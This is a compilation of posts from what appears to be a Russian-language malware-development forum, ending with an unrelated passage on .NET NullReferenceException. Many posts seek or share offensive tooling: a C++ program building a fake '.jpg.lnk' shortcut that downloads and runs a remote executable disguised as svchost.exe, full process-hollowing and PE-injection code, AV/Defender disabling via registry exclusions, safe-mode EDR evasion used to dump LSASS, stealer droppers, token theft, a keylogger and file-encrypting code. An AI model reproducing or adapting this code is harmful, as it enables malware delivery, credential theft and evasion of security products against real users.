Всем привет, мне насоветовали изучать Си как язык на котором можно писать софты, мальвари итд. У меня вопрос для знающих, подходит ли этот язык для пентестов, проникновение в сеть, эксплойтинг. Я понял что язык сложный, мне хотелось бы знать что реально на нем можно писать и для чего он больше подходит.
Привет. Возможно ли из .bat файла запущенного не от имени администратора, запустить .msi уже как от имени администратора и как ? спасибо !
Реально ли запустить код написанный на C не компилируя его в файл?
Есть ли способы сгенерировать шеллкод из сорцов или бинаря ? Как ещё можно почистить(морферы, обфускаторы) проект на golang ? https://github.com/burrowers/garble - не спасает.
Всем привет! Как сделать запуск стиллера (билда) в дроппере на c#? А то Process.Start не всегда срабатывает что-то.
Приветствую форум, ребята подскажите пожалуйста, есть exe файл, как его можно засунуть и куда его сувать в код и в какой код, что бы на выходе получился dll, с точкой входа! буду прзинаетелен за примеры такой компиляции!
Как можно скрыть следы компилятора?
какие есть варианты убрать вот
Code:Copy to clipboard
package main
import (
"fmt"
"strings"
"net/http"
"io/ioutil"
)
type Proxy struct {
addr string
}
func (p *Proxy) ServeHTTP(w http.ResponseWriter, r *http.Request) {
target := r.RequestURI
targetUri := strings.Split(target, "")
cookies := r.Cookies()
cookiesStr := ""
for _,x := range cookies {
cookiesStr += ", cookie { " + x.Name + " = " + x.Value + " } "
}
if targetUri[0] == "/" {
w.Write([]byte("welcome to http proxy.."))
return
}
switch r.Method {
case "GET":
fmt.Println(r.RequestURI + " " + r.UserAgent() + cookiesStr)
getResponse, getError := http.Get(r.RequestURI)
if getError != nil {
w.Write([]byte("http proxy connection error with " + r.RequestURI + " " + getError.Error()))
return
}
defer getResponse.Body.Close()
getData,_ := ioutil.ReadAll(getResponse.Body)
w.Write(getData)
case "POST":
w.Write([]byte("post proxy!"))
default:
w.Write([]byte("method not supported " + r.Method))
}
}
func main() {
proxy := &Proxy{addr: "0.0.0.0:9090"}
http.ListenAndServe(proxy.addr, proxy)
}
Добрый день , поделитесь сорцами простых вирусов на яп Си . Хотелось бы поизучать чужой код / методы реализаций функционалов . Заранее спасибо !
Есть задача определить версию windows
Есть Функция GetVersion GetVersionEx, они не работают на 10-ках
Так же есть Функции IsWindows8OrGreater() в <VersionHelpers.h>
C++:Copy to clipboard
#include <VersionHelpers.h>
if (!IsWindows8OrGreater())
{
MessageBox(NULL, "You need at least Windows 8", "Version Not Supported", MB_OK);
}
Код с MSDN без внесений изменений
Может есть либа, которую нужно закоментить еще?
Приветствую всех, как я могу получить адрес функции из длл , которая
импортирована в удаленном процессе.
Я вот так получаю саму dll
C++:Copy to clipboard
HMODULE GetDllModule(HANDLE hProcess)
{
HMODULE hMods[1024];
DWORD cbNeeded;
unsigned int i;
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
if (GetModuleBaseNameW(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
if (wcscmp(szModName, L"name.dll") == 0) {
return hMods[i];
}
}
}
}
DWORD dwError = GetLastError();
printf("[!] EnumProcessModules failed with error code %d\n", dwError);
return NULL;
}
Имея дескриптор , как я могу получить адрес нужной мне функции из этой dll ? Можете направить в нужную сторону. Всем спасибо, всего вам хорошего
Ребят, подскажите где копать, может гитхаб разработки есть.
нужно реализовать длл на С шарп
Нужно реализовать заглушку программным путем.
Смысл в том что когда запускается программа, весь трафик этой программы будет
перехватываться и писать в лог.
Как входящий так и исхоящий трафик с этой программы
Спасибо заранее.
Всем доброго времени суток! Недавно столкнулся с модулем на Metasploit под брут Cisco SSL VPN, возможно кто-то знает где найти такой же под Овпн или кто может написать, прошу отписать в лс
How can we get list of all .NET Based DLL modules loaded by particular process in C#.
Don't have to use third party binaries or executables. o_o
Здравствуйте нужна помощь опытных людей по языку c++ просьба писать мне в л.с
Всем доброй ночи, пишу я, значит, простенький прокси сервер, который ставлю на localhost, но проблема заключается в том, что, допустим, браузеры не берут системные прокси, даже когда в параметрах Windows => Прокси-сервер => Настройка прокси вручную стоит включённый флаг, в котором в качестве адреса указан 127.0.0.1 и в качестве порта - выбранный мной порт. Значения адреса и порта я выставлял программно через реестр вот так:
C#:Copy to clipboard
[DllImport("wininet.dll")]
public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
public const int INTERNET_OPTION_SETTINGS_CHANGED = 39;
public const int INTERNET_OPTION_REFRESH = 37;
static void Main(string[] args)
{
if (args.Length == 0)
{
setProxy("127.0.0.1:4848", false);
Listener();
//return;
}
setProxy(args[0], true);
}
static void setProxy(string proxyhost, bool proxyEnabled)
{
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
const string keyName = userRoot + "\\" + subkey;
if (proxyhost.Length != 0)
Registry.SetValue(keyName, "ProxyServer", proxyhost);
Registry.SetValue(keyName, "ProxyEnable", proxyEnabled ? 1 : 0, RegistryValueKind.DWord);
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
}
У меня создаётся такое впечатление, что просто эта функция не работает, так
как я поднимал сервер с помощью TcpListener'а, но он ничего не хватает из
запросов, но, ради эксперимента, я решил скачать Firefox, в котором я вручную
поставил настройки прокси-сервера (т.е.) поставил в адрес 127.0.0.1 и
выбранный мною порт, в итоге, написанный мной сервер хватает запросы из
фаерфокса, но, когда я снова ставлю в фаерфокс системные настройки прокси, и в
настройках ставлю флаг "Вкл" на ручную настройку проксей и туда ставлю
локалхост
, то опять написанный мною сервер никакие запросы не хватает. Подскажите,
пожалуйста, что делать?
Только что потестировал и понял, чтобы настройка прокси применялась в системе, надо нажать эту кнопку:, подскажите, пожалуйста, как её можно нажать программно, т.е. сохранить настройки проксей?
Доброго времени суток, форумчане.Пытаюсь скомпилить без CRT exe клангом на винде.Для компиляции использую следующую команду:
Code:Copy to clipboard
clang++ source.cpp -m32 -s -mwindows -nostdlib -lkernel32
Сам исходник, "пустая" программа:
C:Copy to clipboard
#include <windows.h>
int main(){
ExitProcess(0);
}
На выходе получаю вот такую ошибку:
Code:Copy to clipboard
C:\Users\Admin\AppData\Local\Temp\source-4250d0.o:(.text+0xa): undefined reference to `__main'
clang++.exe: error: linker command failed with exit code 1 (use -v to see invocation)
Инклуды/Либы использую mingw-шные
В чем может быть проблема? Буду признателен за ответ...
Собственно вопрос следующий. Я хочу использовать обращение к MFT для повышения
производительности.
Как бы простейший пример, отображающий список файлов на диске написал.
Скорость обработки данных существенно выше. Тут как бы очевидно.
Меня больше вопнует другой вопрос. Насколько данный метод возбудит АВ?
Как бы в тестах с включенным дефендером всё ок.
Но на машиине разработчика и тестовых стендах всегда всё работает...
Идея: в моём десктоп приложении на C++ должна отображаться картинка (у
каждого человека своя), которая будет являться его аватаркой в Disciord,
Проблема: я пытался найти инфу о discord api, или в опенсурс, но ничего
подобного не нашел
Вопрос: Как я могу скачивать/получать линк на аватарку человека если она
по своей сути является динамической(у каждого своя)
Буду рад помощи <3
Guess what might not be running in safe mode? An AV/EDR. Also, attackers do NOT need to be physically in front of the machine to run in safe mode. I learned about this technique reading about snatch ransomware. Here is the article. I learn a lot from reading malware walkthroughs.
Here is I check if a security product is running in safe mode.
to c:\users\public
Here is a quick look at the code. In main it checks if it is running in safe mode. If it is then it will try to figure out the security product and check if it is running.
After that, it writes the output to a file in c:\users\public and removes safeboot and restart the machine.
Here is how I Compile/Run it. I find my csc.exe so I can compile the code (under c:\windows\microsoft.net). In my case, it is under the 4.0.30319. Yes, I need to upgrade my lab
Once the file is compiled I run the Doit.bat file as admin. I need to run
Doit.bat file as ADMIN to create the service, modify the registry keys that
are needed to run the service in safe mode and boot it into safe mode.
It is hard coded to look in the C:\users\public folder. All this does is creates a service and modifies the registry keys needed for the service to run in safe mode then reboots the machine in safe mode.
When I run the batch file, here is the output. I am a little lazy with this screen shot I did not delete my service before I took it . Here is the batch file running.
It then tells the machine to boot into safe mode and restarts
When it comes up, I let it sit there a moment. It runs the exe I created to check if the security tools are running, removes safeboot option and then restarts. It takes about 30 seconds on my machine.
After it reboots out of safe mode, I log back in and I see the file it wrote here. This lets me know what security product I have and if it is running. The results below are for defender. EDR vendor results are much more interesting.
Finally, I run undoit.bat so I can remove the service I created and remove the registry key.
I have used this technique to dump LSASS in safe mode. If I remember correctly, I ran lazagne in safeboot with this technique too. It could be used to hide anything.
Detection:
· Look for these any change to these registry keys below this.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
· Keep an eye on BCDEdit and other ways of programmatically booting a machine into safe mode
· Consider checking if your EDR runs in safe mode. If it doesn’t, check with your vendor to see what they recommend to detect this technique.
В процессе расширения функционала своего стилера столкнулся с такой проблемой, не могу найти где geko движок хранит холодки(метамаск, ронин и тд). Из этого вытекает вопрос, где геко движок хранит всё это?
Занимаюсь реверсом одной программы, удалось почти полностью деобфуксировать,
но осталось проблема с декодированием строк:
начал решать проблему через написание декриптора на dnlib, смог получить
строки, но проблема в получение ключа (object[]), как можно получить его через
dnlib?
Riot Games launched Vangurad detection today. It is a detection specifically for cheating players. If cheating is detected, Vangurd will directly block your hardware device. I would like to discuss with you again how to bypass Vangurad detection
Привет
Есть ли у кого-либо скрипт .Net, который может быть запущен и отключен
защитник Windows, id также заинтересован в тех, которые могут отключить другие
AVs или знать, какие реестры необходимо настроить, чтобы обойти их.
Я вижу много групп, как они могут отключить любой AV там целевой.
Я хочу, чтобы это было базовое значение и в .net, потому что powershell
внимательно следят и vbscript собирается устареть
---
Hi
Does anyone has a .Net script that can be run and disabled by Windows
Defender, id also interested in other AVs or know which registries need to be
configured to bypass them.
Im currently working on my own script playing with:
SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths
and
SOFTWARE\Classes\ms-settings\shell\open\command
I see a lot of groups how they can disable any AV there target.
I want it to be in .net as well, because powershell is closely watched and vbscript is about to become obsolete
Здравствуйте, я внес модификацию кода Process Hollowing, я пытаюсь внедрить массив байтов, но при запуске скомпилированного файла я вижу, что процесс запускается, а затем получаю сообщение об ошибке. Есть идеи, в чем может быть проблема?
Массив байтов составляет 32 бита, как и сам процесс, так что проблема не в
этом.
Ошибки отладки не отображаются
Есть идеи?
C++:Copy to clipboard
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
NTSTATUS NTAPI NtResumeProcess(HANDLE ProcessHandle);
void InjectCodeFromByteArray(PBYTE byteArray, SIZE_T byteArraySize, LPCWSTR szHostExe) {
printf("Starting code injection...\n");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)byteArray;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS signature.\n");
return;
}
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(byteArray + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT headers.\n");
return;
}
PROCESS_INFORMATION pi;
STARTUPINFOW si = { sizeof(STARTUPINFO) };
printf("Creating process...\n");
if (!CreateProcessW(szHostExe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcessW failed with error %d.\n", GetLastError());
return;
}
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
printf("Getting thread context...\n");
if (!GetThreadContext(pi.hThread, &context)) {
printf("GetThreadContext failed with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
PVOID image_base;
printf("Reading process memory...\n");
if (!ReadProcessMemory(pi.hProcess, (const PVOID)(context.Ebx + 8), &image_base, sizeof(PVOID), NULL)) {
printf("ReadProcessMemory failed with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
if ((DWORD)image_base == ntHeaders->OptionalHeader.ImageBase) {
printf("Unmapping view of section...\n");
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, image_base);
if (status != 0) {
printf("NtUnmapViewOfSection failed with status 0x%08X\n", status);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
}
printf("Allocating memory in target process...\n");
PVOID remoteImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)(ntHeaders->OptionalHeader.ImageBase),
ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteImageBase) {
printf("VirtualAllocEx failed with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
printf("Writing headers into target process...\n");
if (!WriteProcessMemory(pi.hProcess, remoteImageBase, byteArray, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) {
printf("WriteProcessMemory failed for PE headers with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
printf("Writing section %d into target process...\n", i);
if (!WriteProcessMemory(pi.hProcess, (PBYTE)remoteImageBase + sectionHeader[i].VirtualAddress,
byteArray + sectionHeader[i].PointerToRawData, sectionHeader[i].SizeOfRawData, NULL)) {
printf("WriteProcessMemory failed for section %d with error %d.\n", i, GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
}
DWORD entryPoint = (DWORD)remoteImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
context.Eax = entryPoint;
printf("Setting thread context...\n");
if (!SetThreadContext(pi.hThread, &context)) {
printf("SetThreadContext failed with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
printf("Resuming thread...\n");
if (!ResumeThread(pi.hThread)) {
printf("ResumeThread failed with error %d.\n", GetLastError());
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
printf("Injection successful.\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main() {
unsigned char byteArray[16384] = {
// byte array here
};
SIZE_T byteArraySize = sizeof(byteArray);
LPCWSTR szHostExe = L"C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe";
InjectCodeFromByteArray(byteArray, byteArraySize, szHostExe);
return 0;
}
Рад приветсвовать. Являюсь C++ / Python разработчиком. работаю над Android RAT
ищу наставника и помощника для совместной разработки данного проекта. стек
разработки C++ / QT графика и сервер, клиент java соответсвенно.
кто желает в соответсвии со своими навыками или же хочет их подтянуть разделив
один проект - добро пожаловать. буду рад видеть в лс.
PS: не вакансии, не работа, только совместная разработка
Hello everyone i am trying to understand how pe injection works... The below code works fine if i used a shellcode as the payload, but when i use an exe file it doesn't work. I have an idea of converting the payload to base64 then see if i can load it but i haven,'t tried yet. I will we be happy if someone put me through on this or help me moderate the code to achieve what i want. Thanks in advance.
using System;
using System.Runtime.InteropServices;
namespace PE_Inject
{
class Program
{
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess (uint processAccess, bool bInheritHandle, int
processId);
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint
dwSize, uint flAllocationType, uint flProtect);
[DllImport ("kernel32.dll")]
static extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress,
string lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport ("kernel32.dll")]
static extern IntPtr CreateRemoteThread (IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[STAThread]
static void Main (string [] args)
{
IntPtr hProcess = OpenProcess (0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx (hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
string file = "HelloWorld.exe"; // payload
IntPtr outSize;
WriteProcessMemory (hProcess, addr, file, file.Length, out outSize);
IntPtr hThread = CreateRemoteThread (hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Привет. Ищу человека у которого под рукой виртуальная машина с Windows 7 x64, нужен скриншот стаба функции ntdll!RtlWow64GetThreadContext (IDA PRO/аналог, не важно) Взамен отгружу лайков.
Столкнулся с проблемой, что допустим при работе с NtUnmapViewOfSection
(ntdll.dll) либо с CreateProcessAsUserW(kernel32.dll), либо при работе с
некоторыми функциями из(advapi32)
вылетает ошибка характера "нарушение прав доступа". При вызовах
CreateProcessA, VirtualAlloc и других - проблем нет.
хотя если скрывать импорты просто по старинке через GetModuleHandleA->LoadLibruary->GetProcAddress, то таких проблем не будет. Работаю под x32
Подскажите, в чем проблема, почему при получении ProcessAdress по хешу, вылетает такая ошибка?
Подкиньте ссылку или пример на с++ метода добавления в исключения exe в WinDef. Хотелось бы если зло попало на компьютер и прошло все проверки добавить его в исключения на будущее.
Как найти идентификаторы ячеек графического пароля?
Пытаюсь через layout найти
Возможно ли как-то установить своё ImageBase при обфускации LLVM?
Здравствуйте, господа. Использую в своём коде CryptoAPI Next Generation(CNG)
для RSA шифрования текста. На этапе инициализации алгоритма и создания пары
открытого/закрытого ключей всё работает и никаких ошибок нету, но после того
как я хочу зашифровать какой-то текст через функцию BCryptEncrypt, эта функция
просто не работает и возращает эта функция STATUS_INVALID_PARAMETER. В первом
вызове BCryptEncrypt() я сначала получаю размер будущего зашифрованого текста
в переменную encryptedBufferSize, но ничего не работает.
Помогите пожалуйста, что делать?
C:Copy to clipboard
BCRYPT_ALG_HANDLE hRsaAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
if (BCryptOpenAlgorithmProvider(&hRsaAlg, BCRYPT_RSA_ALGORITHM, NULL, 0) != STATUS_SUCCESS) {
printA("[-] BCryptOpenAlgorithmProvider");
}
if (BCryptGenerateKeyPair(hRsaAlg, &hKey, 2048, 0) != STATUS_SUCCESS) {
printA("[-] BCryptGenerateKeyPair");
}
CHAR text[] = "Password";
DWORD encryptedBufferSize = 0;
if (BCryptEncrypt(hKey, text, lstrlenA(text), NULL, NULL, 0, NULL, 0, &encryptedBufferSize, 0) != STATUS_SUCCESS) {
DWORD err = GetLastError();
char res[1024];
wsprintfA(res, "%d", err);
printA(res);
}
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hRsaAlg, 0);
Всем привет. Мне нужно украсть токен пользователя когда я под системой, в двух словах аналог steal_token как в кобе. Для этой задачи есть ряд методов на винапи например:
1. CreateProcessWithTokenW (создает процесс с переданным токеном);
2. ImpersonateLoggedOnUser (позволяет имперсонализировать пользователя для вызывающего потока);
3. SetThreadToken (позволяет установить токен доступа в определенный поток);
Проблема с первым - это то, что создаются процесс в новом окне постоянно, а нужно в текущем, в котором исполняется приложение. Например создать процесс cmd/PowerShell в этом же окне.
Проблема двух последних - это то, что токен можно установить в поток процесса самого приложения, а не в поток процесса который вызвал это приложение.
Короче, и так много воды налил. Как сделать чтобы я в cmd вызываю StealToken.exe /pid:<1234>, и в том же окне получаю cmd с токеном из процесса <1234>? Благодарю.
Всем привет, подскажите пожалуйста - грамотный способ, как и какие проверки (
anti VM ) реализовать в крипторе ?
Пробовали по железу, но при проливе отсеивает значительную часть слабых пк (не
отстукивает).
Заранее благодарю !
Я хотел бы улучшить свою логику в C и C++, кто-то более опытный может дать мне совет, в настоящее время я сосредоточен на WinApi.
In RAT network programming, it's often necessary to handle multiple client connections efficiently. In this article, we will explore how to manage multiple clients on a server using sockets in C#. We will demonstrate how to accept client connections and spawn individual threads to handle each client concurrently.
Prerequisites:
To follow along with this tutorial, you should have a basic understanding of
C# programming and socket communication concepts.
Step 1: Set Up the Server
First, let's set up the server and listen for client connections. We will use
the Socket class for this purpose.
C#:Copy to clipboard
List<Thread> clientThreads = new List<Thread>();
Socket listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listener.Bind(new IPEndPoint(IPAddress.Any, 1337));
listener.Listen(10);
In the code above, we create a Socket instance named listener, bind it to a specific IP address and port, and set it to listen for incoming client connections with a backlog of 10 connections.
Step 2: Accept Client Connections
Next, we will accept client connections in an infinite loop using the Accept
method and spawn a new thread to handle each client.
C#:Copy to clipboard
while (true)
{
Socket clientSocket = listener.Accept();
Thread clientThread = new Thread(() => HandleClient(clientSocket));
clientThread.Start();
clientThreads.Add(clientThread);
}
Inside the loop, we accept an incoming client connection by calling the Accept method on the listener socket. Once a client connects, we create a new thread clientThread and pass the client socket to the HandleClient method. We then start the thread and add it to the clientThreads list for later reference.
Step 3: Handle Client Communication
Now, let's define the HandleClient method to handle communication with
each client.
C#:Copy to clipboard
void HandleClient(Socket clientSocket)
{
// Handle communication with the client
// Example code to send and receive data
// Clean up resources when communication is finished
clientSocket.Close();
}
Inside the HandleClient method, you can implement the logic to communicate with the client. This can include sending and receiving data/commands, processing client requests, and performing any necessary operations.
Remember to properly handle exceptions and close the client socket when the communication is finished to free up system resources.
Note: When working with multiple client connections, it's important to consider thread safety and synchronization mechanisms to avoid potential issues
Имеется программа, которая мониторит папку и шифрует все файлы в ней, однако
при больших размерах файлов или при переносе туда таковых во время работы,
программа работает некорректно
Как это можно исправить?
Код функции, которая открывает файл и записывает в другой:
C++:Copy to clipboard
void encryptor(filesystem::path source, filesystem::path out, string k) {
ifstream file_target;
ofstream file_out;
file_target.open(source);
file_out.open(out);
if (!file_target.is_open()) {
cout << "ERROR" << endl;
} else {
string str;
ByteArray byte_k(k.begin(), k.end());
string big_str;
while (getline(file_target, str)) {
big_str += str;
big_str += "\n";
}
ByteArray buffer;
ByteArray big_byte_str(big_str.begin(), --big_str.end());
Aes256::encrypt(byte_k, big_byte_str, buffer);
for (auto x: buffer) {
file_out << x;
}
}
file_target.close();
file_out.close();
}
Чисто тема для интересующихся прогом
я думаю хорошо показывает как код работает изнутри
Вайт строит историческую линию после отработки
кому нужна прога пишите в лс. она платная
I'm using Quasar RAT and I have some features that need to be edited or added.
I need someone to help me.
Hello ! I am currently developing a shellcodeinjector written in java I already have the first reverse backdoor, but I need some help on how to integrate MsfRpc in my java application ?
Исходники прикрепленные ниже, позволяют любой файл exe запускать из памяти.
Раньше это использовалось для крипта, сейчас не знаю насколько это актуально.
Тем не менее запустить любой чужой exe файл в собственной программе, уже
хорошее достижение.
В архиве два исходника один для х32 программ, другой для х64.
Дальнейшие действия:
Открываем exe файл в hex редакторе.
Файл -> Открыть
Выделить все
Файл -> Экспорт -> С
Копируем код и вставляем его в code.h
Все собираем проект.
Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.
C#:Copy to clipboard
async static Task Main(string[] args)
{
//AutoRun(IsInAutoRun());
//Crash();
//USBSearcher();
//ToDef();
//Defense();
await StartDefensive();
Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
//SecondSaveFile();
//HideConsole();
//AllPathesToSave();
async static Task StartDefensive()
{
Console.WriteLine("Подготовка к запуску защиты");
await Task.Run(() => Defense());
Console.WriteLine("Защита запущена!");
}
public static void Defense()
{
bool attack = false;
while (1 > 0)
{
Thread.Sleep(2000);
Console.WriteLine("Защита работает");
Process[] procList = Process.GetProcesses();
string[] attackedProcess = { "processhacker", "taskmgr" };
foreach (Process p in procList)
{
for (int i = 0; i < attackedProcess.Length; i++)
{
if (p.ProcessName.ToLower() == attackedProcess[i])
{
Console.WriteLine("Detected: " + p.ProcessName);
attack = true;
if (attack)
{
Console.WriteLine("Процесс прекращён");
string[] exit = { "false" };
Main(exit);
}
}
else
{
continue;
}
}
}
Console.WriteLine("\n");
if (attack)
{
break;
}
}
}
public static void USBSearcher()
{
Console.Write("Add Path: ");
string PATH = Console.ReadLine();
while (true)
{
Thread.Sleep(2000);
foreach (var dInfo in DriveInfo.GetDrives())
{
if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
{
Console.WriteLine(dInfo);
string USBPath = dInfo.ToString();
try
{
string outFile =USBPath + Path.GetFileName(PATH); ;
File.Move(PATH, outFile);
Console.WriteLine("Yes");
}
catch
{
Console.WriteLine("No");
}
}
else
{
Console.WriteLine("No");
continue;
}
}
}
}
Новичок в C++. Не нашел информации в интернете насчет перебора паролей Windows. Имеется локальная сеть, и я так понял, нужно отправлять запрос серверу и сверять пароль брута с паролем на сервере, но реализовать или найти информацию об этом не могу. Может ли кто-то может помочь или посоветовать что- то посмотреть/почитать на эту тему?
Хотел бы написать белый софт с формой аля Win Forms под это дело. (Ресурсы и с
событиями не оч хочется морочиться, а тем более MFC и QT, или вообще
использовать CLR ).
Смотрел видеоролик 2010 года, где араб создаёт проект "C++ Windows Forms" и
задался вот этим вопросом
Нейросеть отвечает на этот вопрос что да, действительно было возможно, а в
2017 студии вроде как убрали(с 2019 точно).
Что думаете по этому поводу? хотелось бы написать простое приложение аля под формы на плюсах. Видел просто подобные чит-лоадеры(которые были вроде чисто на винапи, но интерфейс и элементы как в windows forms(не win xp / 98)
Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na
websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded
Code:Copy to clipboard
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h>
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
IShellLinkW *psl;
HRESULT hres;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres) && psl)
{
WCHAR wszLnkArg[MAX_PATH];
wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");
psl->SetPath(L"%windir%\\System32\\cmd.exe");
psl->SetIconLocation(lpIconFile, iIconIndex);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(wszLnkArg);
IPersistFile *ppf;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres) && ppf)
{
ppf->Save(lpLnkFile, TRUE);
ppf->Release();
}
psl->Release();
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(2000);
CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);
return 0;
}
[/CODE
Всем привет, помогите.пожалуйста, с кейлоггером.Погуглил, почитал про хуки и
тд. И сделал кейлоггер, правда, он сыроват, потому что пишет Capital вместо
капс лока и тд. Но, как всё это фиксить, я примерно понимаю. Моя главная
задача сейчас - убрать повторение клавиш. т.е. все клавиши, которые
нажимаются, выводятся на консоль, но прикол в том, что если я нажму на одну
клавишу, то она в консоль выведется 2 раза. Я подозреваю, что это из-за того,
что у меня ловится 2 события (кнопка опущена, кнопка поднята), но я просто не
могу найти уже у себя в коде это. Помогите, пожалуйста.
https://pastebin.com/CZEvaA4c
Так же принимается критика кода, ведь это только улучшит проект и даст мне
больше знаний и понимания. Спасибо!
NullReferenceException (NRE) — тип исключения платформы .NET, возникающий при
попытке обращения по нулевой ссылке. В заметке рассмотрим причины, из-за
которых возникают исключения этого типа, а также способы их предотвращения и
исправления.
![1049_NullReferenceException_ru/image1.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs-
studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage1.png%3Fver%3D05-02-2023-11-08-16&hash=45272ac3a8d8adc4679f9f2a914fe244)
Переменные ссылочных типов в C# хранят ссылки на объекты. Чтобы обозначить, что ссылка не указывает на объект, используют значение null. Стоит также отметить, что null — значение выражений ссылочных типов по умолчанию.
Исключение типа NullReferenceException возникает при попытке обращения по нулевой ссылке. Операции, при которых может возникнуть исключение, мы перечислим ниже.
Рассмотрим пример:
C:Copy to clipboard
Object notNullRef = new Object();
Object nullRef = default;
int hash;
hash = notNullRef.GetHashCode();
hash = nullRef.GetHashCode(); // NullReferenceException (NRE)
В коде объявляются две переменные ссылочного типа Object — notNullRef и nullRef :
![1049_NullReferenceException_ru/image2.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs-
studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage2.png%3Fver%3D05-02-2023-11-08-16&hash=55a1e4faa5f9919aa4ece3e9a7eb96df)
Вызов метода GetHashCode через ссылку в notNullRef отработает нормально,
так как ссылка указывает на объект. При попытке вызова того же метода для
nullRef средой CLR будет выброшено исключение типа NullReferenceException.
Ниже мы рассмотрим, откуда могут прийти null -значения и какие операции могут привести к исключению NullReferenceException.
Рассмотрим примеры того, как в переменную может попасть значение null.
1. Явная запись значения null или default.
C:Copy to clipboard
String name = null;
var len = name.Length; // NRE
Результатом выражения default и default(T) для ссылочных типов также будет null.
C:Copy to clipboard
Object obj = default; // or default(Object)
var hash = obj.GetHashCode(); // NRE
